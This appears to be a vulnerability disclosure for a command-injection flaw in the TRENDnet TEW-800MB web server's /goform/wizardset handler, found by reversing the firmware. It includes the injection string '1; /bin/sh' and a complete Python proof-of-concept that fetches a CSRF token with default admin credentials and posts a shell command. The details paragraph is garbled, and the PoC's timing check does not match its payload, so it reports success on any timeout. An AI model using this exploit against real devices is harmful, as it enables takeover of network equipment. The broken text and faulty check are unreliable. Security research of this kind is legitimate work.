
The TRENDnet TEW-800MB is a high-performance AC1200 Dual Band Wireless Media Bridge. It is designed to connect network-enabled devices, such as Smart TVs, media players, and game consoles, to a high-speed Wireless AC network. The device supports both 5 GHz and 2.4 GHz bands and is intended to provide high-performance wireless connectivity for streaming HD media and gaming.
We can accuqire the firmware through the Trendnet website. And we use the binwalk to extract the binary. The vulnerability was discovered through a static analysis of the httpd, using ida to do reverse engineering on the binary specifically within the web server's request handling logic.
The mapping of URL paths to handler functions was examined. The following entry was found:
{ "goform/wizardset*", "text/html", no_cache, do_apply_post, do_setWizard_asp, do_auth }, //Tom.Hung 2012-11-15, Add for wizard
This indicates that HTTP POST requests to /goform/wizardset are handled by the do_setWizard_asp function.
The sub_29BECfunction, a critical vulnerability was identified in how the WizardConfigured parameter is processed.

Vulnerability Details:
WizardConfigured parameter from the HTTP request using websGetVar.sprintf: echo %s > /sys/class/net/br0/bridge/redirect_wizard.system(cmd).wconf input before it is passed to system().
This allows an authenticated attacker (or an attacker with a valid CSRF token) to inject arbitrary shell commands. For example, by setting WizardConfigured to 1; /bin/sh, the executed command becomes echo 1; /bin/sh > ..., resulting in the execution of /bin/sh.To verify this vulnerability, we download the firmware from the website of trendnet https://downloads.trendnet.com/TEW-800MB/firmware/
And then we use the https://github.com/pr0v3rbs/FirmAE to simulate the firmware.

And we have the access to the webpage and the shell.

We exploit the vulnerablity by using the poc as followed.
import base64
import re
import requests
import time
def build_basic_header(username: str, password: str) -> str:
auth = f"{username}:{password}"
return base64.b64encode(auth.encode("utf-8")).decode("utf-8")
def fetch_token(session: requests.Session, target: str, headers: dict) -> str:
try:
resp = session.get(f"http://{target}/wizard/wizard.asp", headers=headers, timeout=10)
resp.raise_for_status()
match = re.search(r'name="token" value="([^"]+)"', resp.text)
if not match:
print("[-] Unable to locate CSRF token in wizard page")
return None
return match.group(1)
except Exception as e:
print(f"[-] Error fetching token: {e}")
return None
def verify_rce(target, username, password):
print(f"[*] Target: {target}")
session = requests.Session()
headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0",
"Authorization": f"Basic {build_basic_header(username, password)}",
"Upgrade-Insecure-Requests": "1",
}
token = fetch_token(session, target, headers)
if not token:
return
print(f"[+] Captured token: {token}")
sleep_time = 50
cmd = f"1; echo 'hello world' > /pwned; #"
data = {
"token": token,
"WizardConfigured": cmd,
}
print(f"[*] Sending payload: {cmd}")
print(f"[*] Expecting response delay of at least {sleep_time} seconds...")
start_time = time.time()
try:
resp = session.post(f"http://{target}/goform/wizardset", headers=headers, data=data, timeout=5)
end_time = time.time()
duration = end_time - start_time
print(f"[+] Request completed in {duration:.2f} seconds")
if duration >= sleep_time:
print(f"[SUCCESS] Vulnerability Verified! Response time indicates command execution.")
else:
print(f"[-] Response was too fast. Command might not have executed or sleep is not available.")
except requests.exceptions.Timeout:
print(f"[SUCCESS] Request timed out (expected if sleep worked and timeout was short). Vulnerability Verified!")
except Exception as e:
print(f"[-] Request failed: {e}")
if __name__ == "__main__":
target = "192.168.10.110"
username = "admin"
password = "admin"
verify_rce(target, username, password)